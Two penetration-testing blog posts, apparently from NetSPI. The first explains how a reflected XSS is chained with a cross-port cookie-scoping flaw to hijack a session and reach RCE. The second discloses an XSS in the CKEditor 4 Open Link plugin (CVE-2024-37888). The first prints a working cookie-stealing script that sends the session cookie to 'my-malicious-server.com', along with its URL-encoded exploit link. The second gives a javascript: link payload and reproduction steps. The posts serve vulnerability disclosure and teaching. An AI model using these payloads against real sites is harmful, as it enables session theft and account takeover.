Read more from the author: CVE-2024-37888 – CKEditor 4 Open Link Plugin XSS

Setting the Scene: The Applications and Their Vulnerabilities

During the engagement, we had multiple applications in scope. All the applications were running on the same hostname, but on different ports. For simplicity, I’ll be referring to three of them as applications A, B, and C: 

Host: example.com 

• Application A: example.com:1111 
• Application B: example.com:2222 
• Application C: example.com:3333 

All of the applications used the Authorization Header for authentication. 

Note that Application B has been mentioned below as a reference to show its similarity with Application C and does not directly take part in the exploit chain. 

Here’s a brief overview of the application configurations and vulnerabilities: 

1. Application A: Vulnerable to Reflected Cross-Site Scripting (XSS) that could not be exploited for session hijacking due to HttpOnly flags on cookies and lack of session-based authentication. 
2. Application B: Vulnerable to File Upload Remote Code Execution (RCE), rated as High Severity, but required an Admin account for exploitation. Additionally, there were sensitive Spring Boot actuator endpoints exposed, which also required admin privileges for exploitation. 
3. Application C: Similar to Application B in terms of the RCE vulnerability and sensitive Spring Boot actuator exposure. The only interesting fact here was that the application also supported session-based authentication in addition to authorization header-based authentication. 

What made this scenario interesting was the Weak Configuration – Cross-Application Cookie Exposure on Different Ports vulnerability, a newly identified finding that I had just added to my testing methodology. All three applications were running on the same host (example.com), but on different ports, and they shared the same domain. While this might seem harmless at first, it created a security gap.

The Attack Chain Begins: Cross-Application Cookie Exposure 

The issue stemmed from the fact that all applications were sharing the same cookie storage on the client side. This led to an Informational Severity finding, due to the way cookies were scoped to the parent domain (i.e., example.com). While each application had its own port, they were all vulnerable to Cross-Application Cookie Exposure, a scenario where cookies could be leaked between the different applications running on the same domain. 

Although important, this finding did not initially have a major impact, because none of the applications depended on session-based authentication. However, that changed when I noticed something unusual in Application C.

A Lightbulb Moment: Session-Based Authentication in Application C 

Unlike Applications A and B, Application C supported both Authorization Header-based authentication (like the other two applications) and Session-based authentication. During the login process, Application C sends a request to /rest/v1/authenticate with the Authorization header, and in response, it issues a valid JSESSIONID session cookie which can be used for authentication in subsequent requests.

HTTP Request:

POST /rest/v1/authenticate HTTP/1.1 
Host: example.com:3333 
Authorization: Basic [REDACTED] 

HTTP Response:

HTTP/1.1 200  
Set-Cookie: JSESSIONID=B7223B56E59AEED6E0FF8A8880C05447; Path=/; Secure

The interesting part? The JSESSIONID cookie lacks the HttpOnly flag, which was a major red flag, especially when compared to the cookies issued by Applications A and B, both of which had the HttpOnly flag set. 

This discovery was pivotal. I could now attempt to hijack Application C’s session using the XSS vulnerability in Application A. However, there were several hurdles to overcome. 

Challenge 1: Same Cookie Name, Overwritten Session Cookie 

The first challenge was that Application A also issued a session cookie with the same name (JSESSIONID), which would overwrite the session cookie from Application C in the client’s cookie storage. Application A’s JSESSIONID contained the HttpOnly flag, and since this flag prevented JavaScript access to the cookie, the XSS payload in Application A could not directly access the JSESSIONID. 

Luckily, there was a workaround. Application C made periodic AJAX requests to /rest/v1/authenticate every 2-3 seconds to keep the session alive. If an invalid JSESSIONID was included in these requests, Application C would re-authenticate and issue a new session cookie. This behavior allowed me to force Application C to overwrite the JSESSIONID cookie after it was initially replaced by the one from Application A.

Challenge 2: Accessing the Cookie via XSS 

The next challenge was to figure out how to access the cookie. Initially, the XSS payloads did not give me access to the cookie and instead triggered an alert with =undefined. 

The issue was that when I visited Application A with my payload, the JSESSIONID cookie from Application C was rejected by the server, and a new cookie (with the HttpOnly flag) was issued by Application A. 

However, after 2-3 seconds, when Application C issued its new session cookie, the cookie storage was updated, and I was able to access the session cookie without the HttpOnly flag from Application C only via the console using document.cookie. 

I attempted various delay methods to give the session cookie of Application C time to load, such as: 

<script>window.onload=alert(document.cookie)</script> 

<script>document.onload=alert(document.cookie)</script> 

<script>document.addEventListener("DOMContentLoaded", (event) => {alert(document.cookie)});</script>

Nothing worked. I was about to give up when I noticed something crucial—the overwriting of the JSESSIONID cookie from Application C didn’t happen instantaneously. It took a few seconds for the cookie to be updated. So, I decided to add a 5-second delay before executing my payload: 

<script>setTimeout(() => { alert(document.cookie) }, 5000)</script>

This worked perfectly! I was able to access the JSESSIONID cookie issued by Application C, and I quickly crafted a stealthy payload to steal it: 

<script>setTimeout(()=>{fetch('https://my-malicious-server.com?cookie='+document.cookie).then()},5000)</script> 

I encoded the URL to bypass any server restrictions and crafted the final exploit URL: 

https://example.com:1111?id=<script>setTimeout%28%28%29%3d>%7bfetch%28%27https%3a%2f%2fmy-malicious-server.com%3fcookie%3d%27%2bdocument%2ecookie%29%2ethen%28%29%7d%2c5000%29<%2fscript> 

Once the victim clicked the link, the cookie value was exfiltrated to my server.

Escalating the Impact 

At this point, I had successfully hijacked the session cookie for Application C and had admin access. Application C was also vulnerable to an RCE and had sensitive Spring Boot actuators exposed. Using the stolen session cookie, I was able to exploit these vulnerabilities and gain full access to the backend server hosting all the applications. 

Bumping Up the Severity 

Initially, the Weak Configuration – Cross-Application Cookie Exposure finding had been rated as Informational due to its lack of immediate impact. However, by chaining it with other vulnerabilities, such as the XSS and the absence of the HttpOnly flag on Application C’s session cookie, I was able to escalate the finding to Critical severity. 

Full Attack Chain

Conclusion 

This engagement was a perfect example of how multiple vulnerabilities in seemingly unrelated applications can be chained together to create a critical security risk. What started as an informational finding became a full-blown exploit chain, ultimately leading to administrative access on Application C and exploitation of Remote Code Execution.

The lesson? Never underestimate the potential impact of a simple misconfiguration. Even seemingly minor issues can lead to devastating consequences when combined with other vulnerabilities. 

The post From Informational to Critical: Chaining & Elevating Web Vulnerabilities appeared first on NetSPI.

What is CVE-2024-37888? 

CVE-2024-37888 is a vulnerability affecting the Open Link plugin in CKEditor 4, a widely used “what you see is what you get” (WYSIWYG) editor. This flaw allows an attacker to execute arbitrary JavaScript code in the user’s browser, bypassing the library’s sanitization mechanisms. The successful exploitation of this vulnerability needs direct user interaction where an attacker can mislead/manipulate a victim into injecting code into the CKEditor workspace. 

Discovered during a NetSPI client engagement, this issue was initially suspected to be an application-specific problem. Further investigation revealed that it was a previously unknown flaw in the Open Link plugin for CKEditor 4. 

• Note that this vulnerability exists within the codebase of the Open Link plugin, not CKEditor 4 itself.
• Affected version: Open Link Plugin (version < 1.0.5)
• The commit containing the vulnerable code can be found here. 

The Discovery Story 

The journey began with a pentest of an application utilizing CKEditor 4. During testing, it was noticed that links could be clicked within the editor space, contrary to the library’s intended behavior, which prevents it from clicking/opening hyperlinks directly inside the editor space. This anomaly led to further experimentation, revealing that the “href” attribute in link tags was not being properly sanitized. 

By using a payload like <a href="javascript:alert('XSS Found')">XSS</a>, a DOM XSS was triggered. Initially, it seemed this might be an existing vulnerability in the older CKEditor version in use. However, no similar CVEs were found, prompting a deeper investigation. 

A custom configuration file, config.js, was discovered and examined in the client-side scripts. It contained the following lines: 

config.extraPlugins = 'openlink'; 
 config.openlink_modifier = 0; // No modifier for opening links

These lines enabled the Open Link plugin, allowing links to be opened in new tabs from the editable area. Testing with the latest versions of CKEditor 4 and the Open Link plugin confirmed that the XSS vulnerability existed even in the latest versions. 

Exploitation Steps 

Below are the complete prerequisites and reproduction steps for CVE-2024-37888. 

Prerequisites 

1. CKEditor (version 4.*.*): Download 
2. Open Link Plugin (version < 1.0.5): Download 

Reproduction Steps 

This vulnerability can be reproduced using the pre-configured CKEditor 4 instance available here: https://7ragnarok7.github.io/CVE-2024-37888/ 

1. Insert Payload: 
   • Open the CKEditor instance and click on the “Source” icon.
   • Insert the following payload in the text area:
     <a href="javascript:alert('XSS Found')">XSS</a>

2. Switch to WYSIWYG Mode: 
   • Click on the “Source” icon again to switch back to the WYSIWYG mode.
   • Observe that the hyperlink becomes clickable inside the editor. 

3. Trigger XSS: 
   • Click on the hyperlink within the editor.
   • Observe that the XSS payload is triggered, resulting in an alert box in a new tab.

Setup Instructions 

You can set up a local instance to test this vulnerability by following these steps: 

1. Download CKEditor 4: 
   • Download the Full-Package Open-Source edition of CKEditor 4. 

2. Install Open Link Plugin: 
   • Download the Open Link plugin version 1.0.4 from here.
   • Extract and place the contents into the ckeditor/plugins/openlink directory. 

3. Update Configuration to Include OpenLink plugin: 
   • Modify the config.js file of CKEditor by appending the following lines to the end: 

config.extraPlugins = 'openlink'; 
config.linkShowTargetTab = false; // Hide link target tab 
config.openlink_modifier = 0; // No modifier for opening links 
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode

• Example config.js:

CKEDITOR.editorConfig = function( config ) { 
    // Define changes to default configuration here. 
    config.extraPlugins = 'openlink'; 
    config.linkShowTargetTab = false; 
    config.openlink_modifier = 0; 
    config.openlink_enableReadOnly = true; 
}; 

4. Include CKEditor in HTML: 
   • Ensure the CKEditor library is included in your HTML file. 

<!DOCTYPE html> 
<html> 
<head> 
    <script src="path/to/ckeditor/ckeditor.js"></script> 
</head> 
<body> 
    <textarea name="editor1" id="editor1"></textarea> 
    <script> 
        CKEDITOR.replace('editor1'); 
    </script> 
</body> 
</html> 

Conclusion 

The fix for this vulnerability is available starting with Open Link version 1.0.5. It is strongly advised that the Open Link plugin be updated to 1.0.5 or above as soon as possible. 

The official advisory by the Open Link plugin maintainer can be found here. 

Why Does It Matter? 

This vulnerability is significant because it highlights an oversight in a widely used editor. An attacker could exploit this flaw to execute arbitrary JavaScript in the victim’s browser, leading to various malicious activities such as session hijacking, defacement, or data theft. 

The discovery also underscores the importance of scrutinizing even well-established libraries and plugins. In this case, the combination of a popular editor and a lesser-known plugin created a security gap that had gone unnoticed. 

The discovery of CVE-2024-37888 serves as a reminder of the ever-present need for vigilance in software security. It also emphasizes the value of thorough testing and exploration when assessing applications. For more details on this vulnerability, check out the following resources: 

• GitHub Exploit: CVE-2024-37888 
• Official Advisory 
• NVD Entry 
• MITRE CVE Database 
• CVE Details 

The post CVE-2024-37888 – CKEditor 4 Open Link plugin XSS appeared first on NetSPI.